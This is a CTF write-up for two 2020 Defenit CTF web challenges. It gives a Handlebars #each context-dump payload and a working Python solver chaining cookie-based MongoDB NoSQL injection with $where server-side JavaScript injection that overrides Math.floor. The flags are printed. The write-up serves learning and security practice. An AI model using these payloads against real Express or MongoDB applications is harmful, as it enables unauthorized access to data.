Hello, I'm 8ayac 🐝 This post contains writeups for two challenges I solved at 2020 Defenit CTF. They were Fortune Cookie and BabyJS, both Web challenges.
We finished 55th out of 964 teams with a total of 1,053 points.
[Web 248pts] BabyJS (47/964 Solves)
Challenge description
Description
Render me If you can.
Server
babyjs.ctf.defenit.kr
Attachments
babyjs.tar.gz
Overview of the challenge application
Extracting the attachment reveals the application's source code, Docker configuration, and other files. The application uses Express with Handlebars as its template engine.
const express = require('express');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();
const SALT = crypto.randomBytes(64).toString('hex');
const FLAG = require('./config').FLAG;
app.set('view engine', 'html');
app.engine('html', require('hbs').__express);
if (!fs.existsSync(path.join('views', 'temp'))) {
fs.mkdirSync(path.join('views', 'temp'));
}
app.use(express.urlencoded());
app.use((req, res, next) => {
const { content } = req.body;
req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
req.saveDir = path.join('views', 'temp', req.userDir);
if (!fs.existsSync(req.saveDir)) {
fs.mkdirSync(req.saveDir);
}
if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
res.end('Request blocked');
return;
}
next();
});
app.get('/', (req, res) => {
const { p } = req.query;
if (!p) res.redirect('/?p=index');
else res.render(p, { FLAG, 'apple': 'mint' });
});
app.post('/', (req, res) => {
const { body: { content }, userDir, saveDir } = req;
const filename = crypto.randomBytes(8).toString('hex');
let p = path.join('temp', userDir, filename)
fs.writeFile(`${path.join(saveDir, filename)}.html`, content, () => {
res.redirect(`/?p=${p}`);
})
});
app.listen(8080, '0.0.0.0');
Its features can be summarized as follows.
GET /: Page display- Renders the view specified by the GET parameter
p.
- Renders the view specified by the GET parameter
POST /: Text submission- Creates a file on the server whose contents are the value of the POST parameter
content. - If there are no problems (described below), redirects to
/?p={path of the submitted file}after submission.
- Creates a file on the server whose contents are the value of the POST parameter
Identifying the goal
The line marked with ★ in the following code shows that FLAG is among the variables passed to the view.
Submitting a view that renders it should give us the flag.
app.get('/', (req, res) => {
const { p } = req.query;
if (!p) res.redirect('/?p=index');
else res.render(p, { FLAG, 'apple': 'mint' }); // ★
});
However, submitting a view containing just {{FLAG}} is blocked at the line marked ① in the following middleware.
Submissions of 200 characters or more also appear to be blocked.
app.use((req, res, next) => {
const { content } = req.body;
req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
req.saveDir = path.join('views', 'temp', req.userDir);
if (!fs.existsSync(req.saveDir)) {
fs.mkdirSync(req.saveDir);
}
if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) { // ①
res.end('Request blocked');
return;
}
next();
});
The goal, then, is to submit a view of no more than 200 characters without including the string FLAG.
Solution
Using the Handlebars documentation for #each, construct the following payload.
{{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
Submitting it reveals the flag as shown below.
Explanation
this contains an object like the following.
Use the Handlebars built-in helper #each to output all of its keys and toString(value).
{
settings: {
'x-powered-by': true,
etag: 'weak',
'etag fn': [Function: generateETag],
env: 'development',
'query parser': 'extended',
'query parser fn': [Function: parseExtendedQueryString],
'subdomain offset': 2,
'trust proxy': false,
'trust proxy fn': [Function: trustNone],
view: [Function: View],
views: '/app/views',
'jsonp callback name': 'callback',
'view engine': 'html'
},
FLAG: 'Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8}',
apple: 'mint',
_locals: [Object: null prototype] {},
cache: false
}
Flag
Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8}
[Web 507pts] Fortune Cookie (15/964 Solves)
Challenge description
Description
Here's a test of luck!
What's your fortune today?
Server
fortune-cookie.ctf.defenit.kr
Attachments
fortune-cookie.tar.gz
Application overview
Extracting the attachment reveals the application's source code, Docker configuration, and other files.
The application uses Express and MongoDB, and its source (data/node/app.py) is shown below.
const express = require('express');
const cookieParser = require('cookie-parser');
const { MongoClient, ObjectID } = require('mongodb');
const { FLAG, MONGO_URL } = require('./config');
const app = express();
app.set('view engine', 'html');
app.engine('html', require('ejs').renderFile);
app.use(cookieParser('🐈' + '🐇'));
app.use(express.urlencoded());
app.get('/', (req, res) => {
res.render('index', { session: req.signedCookies.user });
});
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
let { username } = req.body;
res.cookie('user', username, { signed: true });
res.redirect('/');
});
app.use((req, res, next) => {
if (!req.signedCookies.user) {
res.redirect('/login');
} else {
next();
}
});
app.get('/logout', (req, res) => {
res.clearCookie('user');
res.redirect('/');
});
app.get('/write', (req, res) => {
res.render('write');
});
app.post('/write', (req, res) => {
const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
const author = req.signedCookies.user;
const { content } = req.body;
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection
.insertOne({
author,
content
})
.then((result) => {
res.redirect(`/view?id=${result.ops[0]._id}`)
}
);
client.close();
});
});
app.get('/view', (req, res) => {
const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
const author = req.signedCookies.user;
const { id } = req.query;
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
try {
collection
.findOne({
_id: ObjectID(id)
})
.then((result) => {
if (result && typeof result.content === 'string' && author === result.author) res.render('view', { content: result.content })
else res.end('Invalid or not allowed');
}
);
} catch (e) { res.end('Invalid request') } finally {
client.close();
}
});
});
app.get('/posts', (req, res) => {
let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
let author = req.signedCookies.user;
if (typeof author === 'string') {
author = { author };
}
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection
.find(author)
.toArray()
.then((posts) => {
res.render('posts', { posts })
}
);
client.close();
});
});
app.get('/flag', (req, res) => {
let { favoriteNumber } = req.query;
favoriteNumber = ~~favoriteNumber;
if (!favoriteNumber) {
res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> 😊');
} else {
const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
.then(result => {
if (favoriteNumber > 0x1337 && result) res.end(FLAG);
else res.end('Number not matches. Next chance, please!')
});
client.close();
});
}
})
app.listen(8080, '0.0.0.0');
Its features can be summarized as follows.
GET /: Home page- Logged in → List of features
- Not logged in → Link to the login page
GET /login: Login pagePOST /login: Login- Sets a signed cookie containing the username.
GET /logout: Logout- Discards the cookie.
POST /write: Document submission- Lets users submit text.
GET /view: Document list- Lists documents submitted by the current user.
- Shows the document IDs.
GET /posts: View submitted content- Shows a document's contents when its ID is specified.
- Does not allow users to view other users' documents.
GET /flag: Lottery- Reveals the flag if you are lucky.
- Details follow below.
Identifying the goal
The /flag endpoint reveals the goal.
app.get('/flag', (req, res) => {
let { favoriteNumber } = req.query;
favoriteNumber = ~~favoriteNumber;
if (!favoriteNumber) {
res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> 😊');
} else {
const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
.then(result => {
if (favoriteNumber > 0x1337 && result) res.end(FLAG); // ★
else res.end('Number not matches. Next chance, please!')
});
client.close();
});
}
})
When all of the following conditions hold, the line marked with ★ reveals the flag.
- Set the GET parameter
favoriteNumberso that!~~favoriteNumberevaluates to True.- About
~~ - This condition rules out a string as the value of
favoriteNumber.
- About
- Set the GET parameter
favoriteNumberso that`Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}`, which is passed tocollection.findOne()as a condition, evaluates to True. - Set the GET parameter
favoriteNumberto a value greater than 0x1337. - Create at least one document in the
postscollection.
The value of Math.floor(Math.random() * 0xdeaaaadbeef) can be enormous, so unless you are exceptionally lucky, repeatedly entering the lottery does not look promising.
The goal is therefore to satisfy these conditions through another approach.
Considering a common approach
MongoDB makes NoSQL injection a candidate.
Examining the supplied configuration with NoSQL injection in mind shows a viable path to SSJI.
If SSJI can be used to change Math.floor() into a function that returns a fixed value, the challenge's conditions can be met.
Looking for NoSQL injection
app.post('/login', (req, res) => {
let { username } = req.body; // ①
res.cookie('user', username, { signed: true });
res.redirect('/');
});
︙
app.get('/posts', (req, res) => {
let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
let author = req.signedCookies.user; // ②
if (typeof author === 'string') {
author = { author }; // ③
}
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection
.find(author) // ④
.toArray()
.then((posts) => {
res.render('posts', { posts })
}
);
client.close();
});
});
Explanation
Here is an example of a normal request to POST /login.
POST /login HTTP/1.1
Host: fortune-cookie.ctf.defenit.kr
Content-Length: 16
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://fortune-cookie.ctf.defenit.kr
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://fortune-cookie.ctf.defenit.kr
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Connection: close
username=8ayac
Sending this request makes req.body at the line marked ① equal to { username: '8ayac' }.
The value associated with the username key becomes the value of the variable username, which is then set as the value of the signed cookie user.
The logged-in user subsequently uses this cookie.
Here is an example of the response.
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 01:01:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: close
X-Powered-By: Express
Set-Cookie: user=s%3A8ayac.u%2B5zh6Yd%2Fw28iIedhUa9yRii9zcX4thK7%2FANBXHDhXs; Path=/
Location: /
Vary: Accept
<p>Found. Redirecting to <a href="/">/</a></p>
Within POST /posts, the cookie is used in the following order.
- Assigned to the variable
authorat the line marked ② inPOST /posts. - Converted to an object at the line marked ③.
- Used as the query selector for
find()at ④.
For example, if the cookie contains 8ayac, the value is converted to {"author": "8ayac"} at ③.
The resulting query retrieves documents whose author is 8ayac.
Because the cookie value can be an object, a request can cause a find query to be issued with arbitrary conditions.
For example, if the cookie contains the object {content:{'$regex':'.*'}}, it is assigned to author at ② and used unchanged at ④.
The resulting query retrieves documents whose content matches the regular expression .*.
To set such a value in the cookie, send a request like the following.
POST /login HTTP/1.1
Host: fortune-cookie.ctf.defenit.kr
Content-Length: 14
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://fortune-cookie.ctf.defenit.kr
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://fortune-cookie.ctf.defenit.kr/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Connection: close
username[content][$regex]=.*
This can be used to set an arbitrary object as the cookie value.
Connecting this to SSJI
MongoDB supports server-side execution of JS through the $where operator.
Reference: https://docs.mongodb.com/manual/core/server-side-javascript/
$where operator that evaluates a JavaScript expression or a function in order to query for documents.
root@5895c47e40e5:/# mongo -u redacted -p redacted
MongoDB shell version v4.2.7
(snip)
> use fortuneCookie
switched to db fortuneCookie
> db.posts.find({ $where: "eval(1+1) == 1" })
> db.posts.find({ $where: "eval(1+1) == 2" })
{ "_id" : ObjectId("5edc178c9ee53600459bd3b0"), "author" : "8ayac", "content" : "hoge" }
{ "_id" : ObjectId("5edc373b9ee53600459bd3b1"), "author" : "8ayac", "content" : "fuga" }
Constructing a payload that changes Math.floor provides the solution.
Solver
#!/usr/bin/env python3
import requests
"""
Constants
"""
URL = 'http://fortune-cookie.ctf.defenit.kr'
N = 588488491 # 共有環境で事故らないように十分に大きい値
"""
Exploit
"""
s = requests.Session()
payload = f"Math.floor = this.constructor.constructor('return {N}'); return 0"
s.post(f'{URL}/login', data={"username[$where]": payload})
s.get(f'{URL}/posts')
flag = s.get(f'{URL}/flag', params={'favoriteNumber': N}).text
print(f'{flag=}')
Result:
$ python3 solver.py
flag='Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}'
Flag
Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}
Thoughts
This is actually my first time publishing a CTF writeup. Seeing the newer members of my club write theirs recently has inspired me.
